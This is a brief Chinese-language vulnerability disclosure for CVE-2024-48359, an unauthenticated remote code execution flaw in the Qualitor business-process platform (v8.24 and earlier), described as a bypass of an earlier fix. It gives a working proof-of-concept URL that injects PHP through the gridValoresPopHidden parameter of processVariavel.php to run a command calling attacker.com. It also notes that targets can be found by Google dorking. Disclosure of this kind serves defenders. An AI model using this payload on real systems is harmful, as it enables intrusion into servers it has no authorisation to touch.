CVE-2024-48359 - Qualitor <= v8.24 未经身份验证的远程代码执行漏洞利用

CVE-2024-48359 | Qualitor <= v8.24 RCE

描述

Qualitor 是一个业务流程管理平台，该系统存在于巴西的许多公司中，只需使用 Google dorking 即可识别。

我们团队发现该应用存在一个易受远程代码执行 (RCE) 影响的漏洞，该漏洞允许远程执行系统命令。

这是对 CVE-2023-47253 修复的绕过方法。

概念验证 (POC)

只需在页面 processVariavel.php 中发送 PHP 代码，例如：/html/ad/adpesquisasql/request/processVariavel.php?gridValoresPopHidden=nl2br(stream_get_contents(popen('ping attacker.com', 'r')));

研究人员

https://www.linkedin.com/in/xvinicius/

https://www.linkedin.com/in/hairrison-wenning-4631a4124/

• OpenXP 研究团队